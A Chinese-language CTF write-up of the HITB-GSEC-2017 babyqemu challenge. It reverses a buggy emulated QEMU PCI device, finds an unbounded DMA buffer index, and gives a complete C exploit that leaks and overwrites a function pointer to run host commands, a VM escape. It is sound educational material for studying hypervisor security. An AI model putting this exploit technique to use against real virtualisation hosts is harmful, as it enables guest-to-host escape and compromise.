前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu

CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu

作者头像
用户1423082
发布于 2024-12-31 12:11:20
发布于 2024-12-31 12:11:20
9600
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

熟悉题目,顺便介绍基础知识

先看启动脚本,基本就是hitb的设备的漏洞了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/shar e/qemu \
-L pc-bios \
-device hitb,id=vda

发现root登录都不用密码的

我们用ida载入,由于有符号的,函数那直接搜索hitb就出现相关函数了,通过初始化函数即下面的init函数可以看到device id是0x2333(记住WORD1这个是device id就行),还有设置了pci_hitb_realize也是初始化的,pci_hitb_uninit就是跟pci_hitb_realize相反的操作,进行destroy,del等操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
  ObjectClass_0 *v2; // rax

  v2 = object_class_dynamic_cast_assert(
         a1,
         "pci-device",
         "/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
         469,
         "hitb_class_init");
  BYTE4(v2[2].object_cast_cache[3]) = 0x10;
  HIWORD(v2[2].object_cast_cache[3]) = 0xFF;
  v2[2].type = (Type)pci_hitb_realize;
  v2[2].object_cast_cache[0] = (const char *)pci_hitb_uninit;
  LOWORD(v2[2].object_cast_cache[3]) = 0x1234;
  WORD1(v2[2].object_cast_cache[3]) = 0x2333;   // device_id
}

ida在local type那里可以搜索hitb,可以看到设备的数据结构

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct __attribute__((aligned(16))) HitbState
{
  PCIDevice_0 pdev;
  MemoryRegion_0 mmio;
  QemuThread_0 thread;
  QemuMutex_0 thr_mutex;
  QemuCond_0 thr_cond;
  _Bool stopping;
  uint32_t addr4;
  uint32_t fact;
  uint32_t status;
  uint32_t irq_status;
  dma_state dma;
  QEMUTimer_0 dma_timer;
  char dma_buf[4096];
  void (*enc)(char *, unsigned int);
  uint64_t dma_mask;
};

在struct那里有偏移会好点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00000000 HitbState       struc ; (sizeof=0x1BD0, align=0x10, copyof_1493)
00000000 pdev            PCIDevice_0 ?
000009F0 mmio            MemoryRegion_0 ?
00000AF0 thread          QemuThread_0 ?
00000AF8 thr_mutex       QemuMutex_0 ?
00000B20 thr_cond        QemuCond_0 ?
00000B50 stopping        db ?
00000B51                 db ? ; undefined
00000B52                 db ? ; undefined
00000B53                 db ? ; undefined
00000B54 addr4           dd ?
00000B58 fact            dd ?
00000B5C status          dd ?
00000B60 irq_status      dd ?
00000B64                 db ? ; undefined
00000B65                 db ? ; undefined
00000B66                 db ? ; undefined
00000B67                 db ? ; undefined
00000B68 dma             dma_state ?
00000B88 dma_timer       QEMUTimer_0 ?
00000BB8 dma_buf         db 4096 dup(?)
00001BB8 enc             dq ?                    ; offset
00001BC0 dma_mask        dq ?
00001BC8                 db ? ; undefined
00001BC9                 db ? ; undefined
00001BCA                 db ? ; undefined
00001BCB                 db ? ; undefined
00001BCC                 db ? ; undefined
00001BCD                 db ? ; undefined
00001BCE                 db ? ; undefined
00001BCF                 db ? ; undefined
00001BD0 HitbState       ends

还有两个相关的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00000000 dma_state       struc ; (sizeof=0x20, align=0x8, copyof_1491)
00000000                                         ; XREF: HitbState/r
00000000 src             dq ?
00000008 dst             dq ?
00000010 cnt             dq ?
00000018 cmd             dq ?
00000020 dma_state       ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 QEMUTimer_0     struc ; (sizeof=0x30, align=0x8, copyof_529)
00000000                                         ; XREF: HitbState/r
00000000 expire_time     dq ?
00000008 timer_list      dq ?                    ; offset
00000010 cb              dq ?                    ; offset
00000018 opaque          dq ?                    ; offset
00000020 next            dq ?                    ; offset
00000028 scale           dd ?
0000002C                 db ? ; undefined
0000002D                 db ? ; undefined
0000002E                 db ? ; undefined
0000002F                 db ? ; undefined
00000030 QEMUTimer_0     ends

看一下pci_hitb_realize,

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp)
{
  pdev->pdev.config[61] = 1;
  if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
  {
    timer_init_tl(&pdev->dma_timer, main_loop_tlg.tl[1], 1000000, (QEMUTimerCB *)hitb_dma_timer, pdev);
    qemu_mutex_init(&pdev->thr_mutex);
    qemu_cond_init(&pdev->thr_cond);
    qemu_thread_create(&pdev->thread, "hitb", (void *(*)(void *))hitb_fact_thread, pdev, 0);
    memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);
    pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  }
}

timer_init_tl设置了&pdev->dma_timer的回调函数是hitb_dma_timer,回调函数的参数是pdev,理解来源于下面qemu的源码及注释,而倒数第二行memory_region_init_io函数就是初始化内存映射IO,指定了MMIO的操作&hitb_mmio_ops(这个的read和write分别指向hitb_mmio_read,hitb_mmio_write),最后pci_register_bar将&pdev->mmio注册到qemu PCI设备的BAR(Base Address Registers,BAR记录了设备所需要的地址空间的类型,基址以及其他属性。),其中第二个参数0,代表注册的是MMIO,假如是1就代表注册PMIO

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
 * timer_init_tl:
 * @ts: the timer to be initialised
 * @timer_list: the timer list to attach the timer to
 * @scale: the scale value for the timer
 * @cb: the callback to be called when the timer expires
 * @opaque: the opaque pointer to be passed to the callback
 *
 * Initialise a new timer and associate it with @timer_list.
 * The caller is responsible for allocating the memory.
 *
 * You need not call an explicit deinit call. Simply make
 * sure it is not on a list with timer_del.
 */
void timer_init_tl(QEMUTimer *ts,
                   QEMUTimerList *timer_list, int scale,
                   QEMUTimerCB *cb, void *opaque)
{
    ts->timer_list = timer_list;
    ts->cb = cb;
    ts->opaque = opaque;
    ts->scale = scale;
    ts->expire_time = -1;
}

我们回过头来看看pci设备,根据id,就知道是最后一个了,这个系统太mini了,lspci -v看不到任何详细的信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333

那我们去看文件系统中的,可以看到MMIO的信息,起始地址是0x00000000fea00000,根据第二个地址,size可算出是0x100000这么大

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# cat  /sys/devices/pci0000\:00/0000:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

其实除了hitb_class_init,还有hitb_instance_init初始化函数,他们都在hitb_info_27046中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.data.rel.ro:0000000000969020 ; Function-local static variable
.data.rel.ro:0000000000969020 ; const TypeInfo_0 hitb_info_27046
.data.rel.ro:0000000000969020 hitb_info_27046 dq offset aHitb         ; name
.data.rel.ro:0000000000969020                                         ; DATA XREF: pci_hitb_register_types↑o
.data.rel.ro:0000000000969020                 dq offset aVirtioPciDevic+7; parent ; "hitb" ...
.data.rel.ro:0000000000969020                 dq 1BD0h                ; instance_size
.data.rel.ro:0000000000969020                 dq offset hitb_instance_init; instance_init
.data.rel.ro:0000000000969020                 dq 0                    ; instance_post_init
.data.rel.ro:0000000000969020                 dq 0                    ; instance_finalize
.data.rel.ro:0000000000969020                 db 0                    ; abstract
.data.rel.ro:0000000000969020                 db 7 dup(0)
.data.rel.ro:0000000000969020                 dq 0                    ; class_size
.data.rel.ro:0000000000969020                 dq offset hitb_class_init; class_init
.data.rel.ro:0000000000969020                 dq 0                    ; class_base_init
.data.rel.ro:0000000000969020                 dq 0                    ; class_finalize
.data.rel.ro:0000000000969020                 dq 0                    ; class_data
.data.rel.ro:0000000000969020                 dq 0                    ; interfaces
.data.rel.ro:0000000000969088                 align 20h

而hitb_instance_init主要是初始化了HitbState->enc为函数指针hitb_enc

注:v1 += 0x1BC0 为dma_mask的偏移,减8就是enc的偏移了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall hitb_instance_init(Object_0 *obj)
{
  __int64 v1; // rax

  v1 = (__int64)object_dynamic_cast_assert(
                  obj,
                  "hitb",
                  "/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
                  459,
                  "hitb_instance_init");
  *(_QWORD *)(v1 + 0x1BC0) = 0xFFFFFFFLL;
  v1 += 0x1BC0LL;
  *(_QWORD *)(v1 - 8) = hitb_enc;
  object_property_add(
    obj,
    "dma_mask",
    "uint64",
    (ObjectPropertyAccessor *)hitb_obj_uint64,
    (ObjectPropertyAccessor *)hitb_obj_uint64,
    0LL,
    (void *)v1,
    0LL);
}

最后抛开题目,看看这两个init函数是怎么调用的,向上回溯发现从头到尾的调用是这样的,首先是_start函数,调用libc_start_main,再调用libc_csu_init,而__libc_csu_init循环调用_frame_dummy_init_array_entry[]里面的函数指针

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13
  signed __int64 v4; // rbp
  __int64 v5; // rbx

  v3 = a3;
  v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry;
  init_proc();
  if ( v4 )
  {
    v5 = 0LL;
    do
      ((void (__fastcall *)(_QWORD, __int64, __int64))_frame_dummy_init_array_entry[v5++])(a1, a2, v3);
    while ( v5 != v4 );
  }
}

而_frame_dummy_init_array_entry[]里面的有下面的函数指针

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.init_array:0000000000964D68                 dq offset do_qemu_init_pci_hitb_register_types

跟随这个路子一直走,刚好就注册了hitb_info_27046

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __cdecl do_qemu_init_pci_hitb_register_types()
{
  register_module_init((void (*)(void))pci_hitb_register_types, MODULE_INIT_QOM_0);
}


void __cdecl pci_hitb_register_types()
{
  type_register_static(&hitb_info_27046);
}

MMIO函数

read函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint64_t val; // ST08_8

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr == 128 )
      return opaque->dma.src;
    if ( addr > 0x80 )
    {
      if ( addr == 140 )
        return *(dma_addr_t *)((char *)&opaque->dma.dst + 4);
      if ( addr <= 0x8C )
      {
        if ( addr == 132 )
          return *(dma_addr_t *)((char *)&opaque->dma.src + 4);
        if ( addr == 136 )
          return opaque->dma.dst;
      }
      else
      {
        if ( addr == 144 )
          return opaque->dma.cnt;
        if ( addr == 152 )
          return opaque->dma.cmd;
      }
    }
    else
    {
      if ( addr == 8 )
      {
        qemu_mutex_lock(&opaque->thr_mutex);
        val = opaque->fact;
        qemu_mutex_unlock(&opaque->thr_mutex);
        return val;
      }
      if ( addr <= 8 )
      {
        result = 16777453LL;
        if ( !addr )
          return result;
        if ( addr == 4 )
          return opaque->addr4;
      }
      else
      {
        if ( addr == 32 )
          return opaque->status;
        if ( addr == 36 )
          return opaque->irq_status;
      }
    }
    result = -1LL;
  }
  return result;
}

write函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t v4; // er13
  int v5; // edx
  bool v6; // zf
  int64_t v7; // rax

  if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
  {
    if ( addr == 128 )
    {
      if ( !(opaque->dma.cmd & 1) )
        opaque->dma.src = val;
    }
    else
    {
      v4 = val;
      if ( addr > 0x80 )
      {
        if ( addr == 140 )
        {
          if ( !(opaque->dma.cmd & 1) )
            *(dma_addr_t *)((char *)&opaque->dma.dst + 4) = val;
        }
        else if ( addr > 0x8C )
        {
          if ( addr == 144 )
          {
            if ( !(opaque->dma.cmd & 1) )
              opaque->dma.cnt = val;
          }
          else if ( addr == 152 && val & 1 && !(opaque->dma.cmd & 1) )
          {
            opaque->dma.cmd = val;
            v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
            timer_mod(
              &opaque->dma_timer,
              ((signed __int64)((unsigned __int128)(4835703278458516699LL * (signed __int128)v7) >> 64) >> 18)
            - (v7 >> 63)
            + 100);
          }
        }
        else if ( addr == 132 )
        {
          if ( !(opaque->dma.cmd & 1) )
            *(dma_addr_t *)((char *)&opaque->dma.src + 4) = val;
        }
        else if ( addr == 136 && !(opaque->dma.cmd & 1) )
        {
          opaque->dma.dst = val;
        }
      }
      else if ( addr == 32 )
      {
        if ( val & 0x80 )
          _InterlockedOr((volatile signed __int32 *)&opaque->status, 0x80u);
        else
          _InterlockedAnd((volatile signed __int32 *)&opaque->status, 0xFFFFFF7F);
      }
      else if ( addr > 0x20 )
      {
        if ( addr == 96 )
        {
          v6 = ((unsigned int)val | opaque->irq_status) == 0;
          opaque->irq_status |= val;
          if ( !v6 )
            hitb_raise_irq(opaque, 0x60u);
        }
        else if ( addr == 100 )
        {
          v5 = ~(_DWORD)val;
          v6 = (v5 & opaque->irq_status) == 0;
          opaque->irq_status &= v5;
          if ( v6 && !msi_enabled(&opaque->pdev) )
            pci_set_irq(&opaque->pdev, 0);
        }
      }
      else if ( addr == 4 )
      {
        opaque->addr4 = ~(_DWORD)val;
      }
      else if ( addr == 8 && !(opaque->status & 1) )
      {
        qemu_mutex_lock(&opaque->thr_mutex);
        opaque->fact = v4;
        _InterlockedOr((volatile signed __int32 *)&opaque->status, 1u);
        qemu_cond_signal(&opaque->thr_cond);
        qemu_mutex_unlock(&opaque->thr_mutex);
      }
    }
  }
}

可以看到read函数返回的都是HitbState的字段,而write函数则是对HitbState字段的写入,应该没啥漏洞,关注下write函数的下面片段,这个应该会调用opaque->dma_timer的回调函数hitb_dma_timer

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
else if ( addr == 152 && val & 1 && !(opaque->dma.cmd & 1) )
        {
          opaque->dma.cmd = val;
          v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
          timer_mod(
            &opaque->dma_timer,
            ((signed __int64)((unsigned __int128)(4835703278458516699LL * (signed __int128)v7) >> 64) >> 18)
          - (v7 >> 63)
          + 100);
        }

qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用

这两个函数定义可以看下面的链接 https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L96 https://github.com/qemu/qemu/blob/f2cfa1229e539ee1bb1822912075cf25538ad6b9/include/qemu/timer.h#L666

hitb_dma_timer

我们看看hitb_dma_timer函数,看这个函数可能算是模拟了DMA(直接存储器访问),可以让我们从读写dma_buf。(看看维基百科的描述:直接内存访问(Direct Memory Access,DMA)是计算机科学中的一种内存访问技术。它允许某些电脑内部的硬件子系统(电脑外设),可以独立地直接读写系统内存,而不需中央处理器(CPU)介入处理 。)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall hitb_dma_timer(HitbState *opaque)
{
  dma_addr_t v1; // rax
  __int64 v2; // rdx
  uint8_t *v3; // rsi
  dma_addr_t v4; // rax
  dma_addr_t v5; // rdx
  uint8_t *v6; // rbp
  uint8_t *v7; // rbp

  v1 = opaque->dma.cmd;
  if ( v1 & 1 )
  {
    if ( v1 & 2 )
    {
      v2 = (unsigned int)(LODWORD(opaque->dma.src) - 0x40000);
      if ( v1 & 4 )
      {
        v7 = (uint8_t *)&opaque->dma_buf[v2];
        ((void (__fastcall *)(uint8_t *, _QWORD))opaque->enc)(v7, LODWORD(opaque->dma.cnt));
        v3 = v7;
      }
      else
      {
        v3 = (uint8_t *)&opaque->dma_buf[v2];
      }
      cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);// 1是write
      v4 = opaque->dma.cmd;
      v5 = opaque->dma.cmd & 4;
    }
    else
    {
      v6 = (uint8_t *)&opaque[-36] + (unsigned int)opaque->dma.dst - 2824;
      LODWORD(v3) = (_DWORD)opaque + opaque->dma.dst - 0x40000 + 3000;
      cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
      v4 = opaque->dma.cmd;
      v5 = opaque->dma.cmd & 4;
      if ( opaque->dma.cmd & 4 )
      {
        v3 = (uint8_t *)LODWORD(opaque->dma.cnt);
        ((void (__fastcall *)(uint8_t *, uint8_t *, dma_addr_t))opaque->enc)(v6, v3, v5);
        v4 = opaque->dma.cmd;
        v5 = opaque->dma.cmd & 4;
      }
    }
    opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL;  // 将cmd的最低位置0了
    if ( v5 )
    {
      opaque->irq_status |= 0x100u;
      hitb_raise_irq(opaque, (uint32_t)v3);
    }
  }
}

函数更加opaque->dma.cmd选择不同的分支,但是cmd的最低bit必须为1

这里重点是两个分支,一个是cmd&2==1的时候,即第二个bit为1,另一个分支则第二个bit为0

先看两个都有的cpu_physical_memory_rw,它调用的是address_space_rw

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write)
{
  int v4; // er8
  MemTxAttrs_0 v5; // 0:dl.1

  v4 = len;
  v5 = (MemTxAttrs_0)1;
  address_space_rw(&address_space_memory, addr, v5, buf, v4, is_write != 0);
}

MemTxResult __fastcall address_space_rw(AddressSpace_0 *as, hwaddr addr, MemTxAttrs_0 attrs, uint8_t *buf, int len, _Bool is_write)
{
  MemTxResult result; // eax

  if ( is_write )
    result = address_space_write(as, addr, attrs, buf, len);
  else
    result = address_space_read_full(as, addr, attrs, buf, len);
  return result;
}

所以第一个分支cpu_physical_memory_rw最后一个参数是1,所以最终调用的是address_space_write,第二个分支当然就是address_space_read_full

看address_space_write代码,可以知道cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);是将v3复制到opaque->dma.dst,即将dma_buf[opaque->dma.src- 0x40000]读取到opaque->dma.dst,而cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);则将opaque->dma.src复制到v6,即将opaque->dma.src的内容复制到dma_buf[opaque->dma.dst- 0x40000]

值得注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。

分析了这么多,漏洞点就在于对于dma_buf的索引没有任何限制,导致可以越界读写

漏洞利用

cpu_physical_memory_rw函数的第一个参数,他是一个物理地址,整个过程就是一个中间人的一个功能。 cmd= 1|2时,可以通过数组索引越界,将泄露的地址读入物理地址,致我们从这个地址读出,就完成了泄露 当cmd=1 时,可以将物理地址上面的值写到任意地址(事前我们可以通过上面cmd= 1|2时,将我们要写入的值写到物理地址)

漏洞利用思路 1、泄露函数指针enc,由于这个qemu-system-x86_64的导入表有system,所以我们直接可以算出system@plt 2、用system覆盖enc指针 3、写入opaque->dma_buf为要执行的命令,比如cat flag 4、使用cmd=1|2|4时,调用enc函数,劫持控制流

在编写代码中有一个坑点,你mmio_write的值的大小是8个字节,就会写两次,导致覆盖了下一个值,所以一定要按照src,dst,cnt的顺序来设置

我们在题目的目录建立一个flag文件用于测试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ ls
babyqemu.tar.gz   exp    launch.sh                            qemu-system-x86_64  start.txt
breakpoint.txt    exp.c  pc-bios                              rootfs              vmlinuz-4.8.0-52-generic
cpexptorootfs.sh  flag   peda-session-qemu-system-x86_64.txt  rootfs.cpio
giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ cat flag
flag{You escaped successfully!}

下面是逃逸执行system(“cat flag”)的效果(-append ‘console=ttyS0 root=/dev/ram oops=panic panic=1’ 可以让我们在host执行system(cmd),而输出显示在qemu的命令行中)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__        __   _                            _          _   _ ___ _____ ____
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___   | | | |_ _|_   _| __ )
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \  | |_| || |  | | |  _ \
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) | |  _  || |  | | | |_) |
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/  |_| |_|___| |_| |____/

Welcome to HITB
HITB login: root
# ./exp
mmio_base Resource0Base: 0x7ff8115c9000
gva_to_gpa tmpbuf_phys_addr 0x1dee890
hitb_enc_addr: 0x55c0aa03bdd0
binary_base_addr: 0x55c0a9db8000
system_addr: 0x55c0a9fb5b18
flag{You escaped successfully!}
#

顺便尝试弹计算器

enter description here
enter description here

最终exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)

#define DMA_BASE 0x40000


#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* tmpbuf;
uint64_t tmpbuf_phys_addr;
unsigned char* mmio_base;

unsigned char* getMMIOBase(){
    
    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}

// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
    // addr & 0xfff
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd;
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }

    // printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
    offset = ((uintptr_t)addr >> 9) & ~7;

    ////下面是网上其他人的代码,只是为了理解上面的代码
    //一开始除以 0x1000  (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
    //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
    //最终  vir/2^12 * 8 = (vir / 2^9) & ~7 
    //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
    // int page_size=getpagesize();
    // unsigned long vir_page_idx = vir/page_size;
    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);

    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    // 确保页面存在——page is present.
    if (!(pme & PFN_PRESENT))
        return -1;
    // physical frame number 
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{

    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_base + addr)) = value;
}

uint64_t mmio_read(uint64_t addr)
{
    return *((uint64_t*)(mmio_base + addr));
}

void set_cnt(uint64_t val)
{
    mmio_write(144, val);
}

void set_src(uint64_t val)
{
    mmio_write(128, val);
}

void set_dst(uint64_t val)
{
    mmio_write(136, val);
}

void start_dma_timer(uint64_t val){
    mmio_write(152, val);
}

void dma_read(uint64_t offset, uint64_t  cnt){

    // 设置dma_buf的索引
    set_src(DMA_BASE + offset);
    // 设置读取后要写入的物理地址
    set_dst(tmpbuf_phys_addr);
    // 设置读取的大小
    set_cnt(cnt);
    // 触发hitb_dma_timer
    start_dma_timer(1|2);
    // 等待上面的执行完
    sleep(1);
}

void dma_write(uint64_t offset, char* buf, uint64_t  cnt)
{
    // 将我们要写的内容先复制到tmpbuf
    memcpy(tmpbuf, buf, cnt);
    //设置物理地址(要从这读取写到dma_buf[opaque->dma.dst-0x40000])
    set_src(tmpbuf_phys_addr);
    // 设置dma_buf的索引
    set_dst(DMA_BASE + offset);
    // 设置写入大小
    set_cnt(cnt);
    // 触发hitb_dma_timer
    start_dma_timer(1);
    // 等待上面的执行完
    sleep(1);
}

void dma_write_qword(uint64_t offset, uint64_t val)
{
    dma_write(offset, (char *)&val, 8);
}

void dma_enc_read(uint64_t offset, uint64_t  cnt)
{
    // 设置dma_buf的索引
    set_src(DMA_BASE + offset);
    // 设置读取后要写入的物理地址
    set_dst(tmpbuf_phys_addr);
    // 设置读取的大小
    set_cnt(cnt);
    // 触发hitb_dma_timer
    start_dma_timer(1|2|4);
    // 等待上面的执行完
    sleep(1);
}

int main(int argc, char const *argv[])
{
    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);

    tmpbuf = malloc(0x1000);
    tmpbuf_phys_addr = gva_to_gpa(tmpbuf);
    printf("gva_to_gpa tmpbuf_phys_addr %p\n", (void*)tmpbuf_phys_addr);

    //just test
    // dma_write(0, "giantbranch", 11);
    // dma_read(0, 11);
    // printf("tmpbuf: %s\n", tmpbuf);


    // 将enc函数指针写到tmpbuf_phys_addr,之后通过tmpbuf读出即可
    dma_read(4096, 8);
    uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf);
    uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0;
    uint64_t system_addr = binary_base_addr + 0x1FDB18;
    printf("hitb_enc_addr: 0x%lx\n", hitb_enc_addr);
    printf("binary_base_addr: 0x%lx\n", binary_base_addr);
    printf("system_addr: 0x%lx\n", system_addr);

    // 覆盖enc函数指针为system地址
    dma_write_qword(4096, system_addr);

    
    // 将我们要执行的命令复制到tmpbuf中
    // char* command = "gnome-calculator";
    // char* command = "pwd";
    char* command = "cat flag";
    dma_write(0x200, command, strlen(command));

    // 触发hitb_dma_timer中的enc函数,从而调用syetem
    // 下面的666设置的是cnt,可以是任意值,没什么影响
    dma_enc_read(0x200, 666);
    
    return 0;
}

关于调试

由于有符号,直接下断点即可,由于启动期间我这中断多多次,所以搞了很多个c

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ cat start.txt
run -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -L ./dependency/usr/local/share/qemu -L pc-bios -device hitb,id=vda
b hitb_dma_timer
b hitb_mmio_write
c
c
c
c
c
c

giantbranch@ubuntu:~/qemu_escape/HITB-GSEC-2017-babyqemu$ sudo gdb -q ./qemu-system-x86_64
pwndbg: loaded 176 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./qemu-system-x86_64...done.
gdb-peda$ source start.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff0c35700 (LWP 28226)]
[New Thread 0x7ffff0434700 (LWP 28229)]
[New Thread 0x7fffed3ff700 (LWP 28231)]

关于exp传到qemu中

由于这个ssh和scp都不奏效,而且网络也不通,所以就只能解开它的文件系统,把exp放进去root家目录,之后再压缩

解压命令是cpio -idmv < rootfs.cpio,注意将rootfs.cpio放入一个新建的文件夹内再解开,有时候rootfs.cpio被gz二次压缩了可以用gunzip ./rootfs.cpio.gz解开,再执行上面的命令即可。

那么每次修改为exp,执行下面的脚本即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
